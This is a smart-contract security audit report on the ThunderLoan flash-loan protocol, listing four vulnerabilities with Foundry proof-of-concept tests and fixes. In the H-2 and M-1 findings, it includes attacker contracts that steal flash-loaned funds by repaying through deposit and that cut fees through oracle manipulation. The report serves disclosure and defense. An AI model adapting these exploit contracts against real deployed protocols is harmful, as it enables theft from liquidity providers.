Ramil Must

Protocol Audit Report

Version 1.0

Ramil Mustafin

July 18, 2025

Protocol Audit Report

Ramil Mustafin

July 18, 2025

Prepared by: Ramil Mustafin

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

Ramil Mustafin makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the security researcher is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash: Commit Hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

The audit revealed 4 vulnerabilities, including 3 categories of High, which affect fee calculation, flashloan protection, storage variables and price calculation. The most critical bugs allow an attacker to steal all flashloaned funds. Slither and aderyn were used during security-research process.

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	1
Low	0
Info	0
Gas	0
Total	4

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the exchangeRate is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the deposit function updates this rate without collecting any fees.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7
8      // @Audit-High
9  @>  // uint256 calculatedFee = getCalculatedFee(token, amount);
10 @>  // assetToken.updateExchangeRate(calculatedFee);
11
12     token.safeTransferFrom(msg.sender, address(assetToken), amount);
13 }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it was
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept: 1. LP deposits 2. User takes out a flash loan 3. It is now impossible for LP to redeem

PoC

Place the following into ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from deposit

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] `ThunderLoan::deposit` doesn't verify the flashloan state, allowing an attacker to drain all flashloan funds

Description: The `ThunderLoan` contract exposes two methods, `deposit` and `repay`, that allow transferring tokens to the `AssetToken` contract. The problem is that `AssetToken` does not distinguish how the tokens were transferred. A flashloan is considered repaid if the token balance of the `AssetToken` contract at the end of the transaction is higher than at the beginning.However, an attacker can return the tokens via the `ThunderLoan::deposit` method, which increases their internal balance and allows them to withdraw the funds later. As a result, the contract mistakenly treats the flashloan as repaid, leading to potential loss of funds.

```
1      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7          uint256 calculatedFee = getCalculatedFee(token, amount);
8          assetToken.updateExchangeRate(calculatedFee);
9  @>      token.safeTransferFrom(msg.sender, address(assetToken), amount)
       ;
10     }
```

Impact: This can lead to a loss of funds equivalent to the full flashloan value.

Proof of Concept: 1. The attacker takes out a flashloan. 2. Instead of repaying it, the attacker deposits the borrowed assets into the `AssetToken` contract using `ThunderLoan::deposit`, receiving asset tokens equivalent to the flashloan amount. 3. The attacker then redeems the asset tokens and withdraws the funds.

PoC

Place the following into ThunderLoanTest.t.sol:

```
1
2      function testUseDepositInsteadOfRepayToStealFunds() public
           setAllowedToken hasDeposits {
3          vm.startPrank(user);
4          uint256 amountToBorrow = 50e18;
5          uint256 fee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
6          DepositInsteadOfRepay depositInsteadOfRepay = new
               DepositInsteadOfRepay(address(thunderLoan));
7          tokenA.mint(address(depositInsteadOfRepay), fee);
8          thunderLoan.flashloan(address(depositInsteadOfRepay), tokenA,
               amountToBorrow, "");
```

```
9           depositInsteadOfRepay.redeemMoney();
10          vm.stopPrank();
11
12          assert(tokenA.balanceOf(address(depositInsteadOfRepay)) > 50e18
                + fee);
13      }
14
15      contract DepositInsteadOfRepay is IFlashLoanReceiver {
16          ThunderLoan public thunderLoan;
17          AssetToken public assetToken;
18          IERC20 public s_token;
19
20          constructor(address _thunderLoan) {
21              thunderLoan = ThunderLoan(_thunderLoan);
22          }
23
24          function executeOperation(
25              address token,
26              uint256 amount,
27              uint256 fee,
28              address initiator,
29              bytes calldata params
30          )
31              external
32              returns (bool){
33                  s_token = IERC20(token);
34                  assetToken = thunderLoan.getAssetFromToken(IERC20(token
                        ));
35                  IERC20(token).approve(address(thunderLoan), amount +
                        fee);
36                  thunderLoan.deposit(IERC20(token), amount + fee);
37                  return true;
38              }
39
40          function redeemMoney() public {
41              uint256 amount = assetToken.balanceOf(address(this));
42              thunderLoan.redeem(IERC20(s_token), amount);
43          }
44      }
```

Recommended Mitigation: `ThunderLoan::deposit` should not be allowed during flashloan operations.

```
1     function deposit(IERC20 token, uint256 amount) external revertIfZero
          (amount) revertIfNotAllowedToken(token) {
2
3 +       if (s_currentlyFlashLoaning[token]) {
4 +           revert ThunderLoan__NotCurrentlyFlashLoaning();
5 +       }
6
7           AssetToken assetToken = s_tokenToAssetToken[token];
```

```
8           uint256 exchangeRate = assetToken.getExchangeRate();
9           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
10          emit Deposit(msg.sender, token, amount);
11          assetToken.mint(msg.sender, mintAmount);
12          uint256 calculatedFee = getCalculatedFee(token, amount);
13          assetToken.updateExchangeRate(calculatedFee);
14          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
15      }
```

[H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
1       uint256 private s_feePrecision;
2       uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, `ThunderLoanUpgraded.sol` has them in a different order:

```
1       uint256 private s_flashLoanFee; // 0.3% ETH fee
2       uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables, breaks the storage locations as well.

Impact: After the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

And `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`

```
1   import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
        ThunderLoanUpgraded.sol";
2   .
3   .
4   .
5       function testUpgradeBreaks() public {
6           uint256 feeBeforeUpgrade = thunderLoan.getFee();
7           vm.prank(thunderLoan.owner());
```

```
8           ThunderLoanUpgraded upgradedThunderLoan = new
                ThunderLoanUpgraded();
9           thunderLoan.upgradeToAndCall(address(upgradedThunderLoan), "");
10          uint256 feeAfterUpgrade = thunderLoan.getFee();
11          vm.stopPrank();
12
13          console2.log("feeBeforeUpgrade: ", feeBeforeUpgrade);
14          console2.log("feeAfterUpgrade: ", feeAfterUpgrade);
15
16          assert(feeAfterUpgrade != feeBeforeUpgrade);
17      }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
1  -    uint256 private s_flashLoanFee; // 0.3% ETH fee
2  -    uint256 public constant FEE_PRECISION = 1e18;
3  +    uint256 private s_blank;
4  +    uint256 private s_flashLoanFee; // 0.3% ETH fee
5  +    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will have drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
2. User sells 1000 `tokenA`, tanking the price. 2.1 Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`. 2.2 Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1      function getPriceInWeth(address token) public view returns (uint256
           ) {
```

```
2           address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
                token);
3   @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
        ();
4       }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Add the following to ThunderLoanTest.t.sol.

Proof of Code:

```
1  function testOracleManipulation() public {
2      // 1. Setup contracts
3      thunderLoan = new ThunderLoan();
4      tokenA = new ERC20Mock();
5      proxy = new ERC1967Proxy(address(thunderLoan), "");
6      BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
7      // Create a TSwap Dex between WETH/ TokenA and initialize Thunder
           Loan
8      address tswapPool = pf.createPool(address(tokenA));
9      thunderLoan = ThunderLoan(address(proxy));
10     thunderLoan.initialize(address(pf));
11
12     // 2. Fund TSwap
13     vm.startPrank(liquidityProvider);
14     tokenA.mint(liquidityProvider, 100e18);
15     tokenA.approve(address(tswapPool), 100e18);
16     weth.mint(liquidityProvider, 100e18);
17     weth.approve(address(tswapPool), 100e18);
18     BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
           timestamp);
19     vm.stopPrank();
20
21     // 3. Fund ThunderLoan
22     vm.prank(thunderLoan.owner());
23     thunderLoan.setAllowedToken(tokenA, true);
24     vm.startPrank(liquidityProvider);
25     tokenA.mint(liquidityProvider, 100e18);
26     tokenA.approve(address(thunderLoan), 100e18);
27     thunderLoan.deposit(tokenA, 100e18);
28     vm.stopPrank();
29
30     uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
           );
31     console2.log("Normal Fee is:", normalFeeCost);
32
33     // 4. Execute 2 Flash Loans
34     uint256 amountToBorrow = 50e18;
35     MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
36         address(tswapPool), address(thunderLoan), address(thunderLoan.
```

```
                getAssetFromToken(tokenA))
37      );
38
39      vm.startPrank(user);
40      tokenA.mint(address(flr), 100e18);
41      thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
            the executeOperation function of flr will
42          // actually call flashloan a second time.
43      vm.stopPrank();
44
45      uint256 attackFee = flr.feeOne() + flr.feeTwo();
46      console2.log("Attack Fee is:", attackFee);
47      assert(attackFee < normalFeeCost);
48  }
49
50  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
51      ThunderLoan thunderLoan;
52      address repayAddress;
53      BuffMockTSwap tswapPool;
54      bool attacked;
55      uint256 public feeOne;
56      uint256 public feeTwo;
57
58      // 1. Swap TokenA borrowed for WETH
59      // 2. Take out a second flash loan to compare fees
60      constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
61          tswapPool = BuffMockTSwap(_tswapPool);
62          thunderLoan = ThunderLoan(_thunderLoan);
63          repayAddress = _repayAddress;
64      }
65
66      function executeOperation(
67          address token,
68          uint256 amount,
69          uint256 fee,
70          address, /*initiator*/
71          bytes calldata /*params*/
72      )
73          external
74          returns (bool)
75      {
76          if (!attacked) {
77              feeOne = fee;
78              attacked = true;
79              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
80              IERC20(token).approve(address(tswapPool), 50e18);
81              // Tanks the price:
82              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
```

```
83              // Second Flash Loan!
84              thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
85              // We repay the flash loan via transfer since the repay
                    function won't let us!
86              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
87          } else {
88              // calculate the fee and repay
89              feeTwo = fee;
90              // We repay the flash loan via transfer since the repay
                    function won't let us!
91              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
92          }
93          return true;
94      }
95  }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.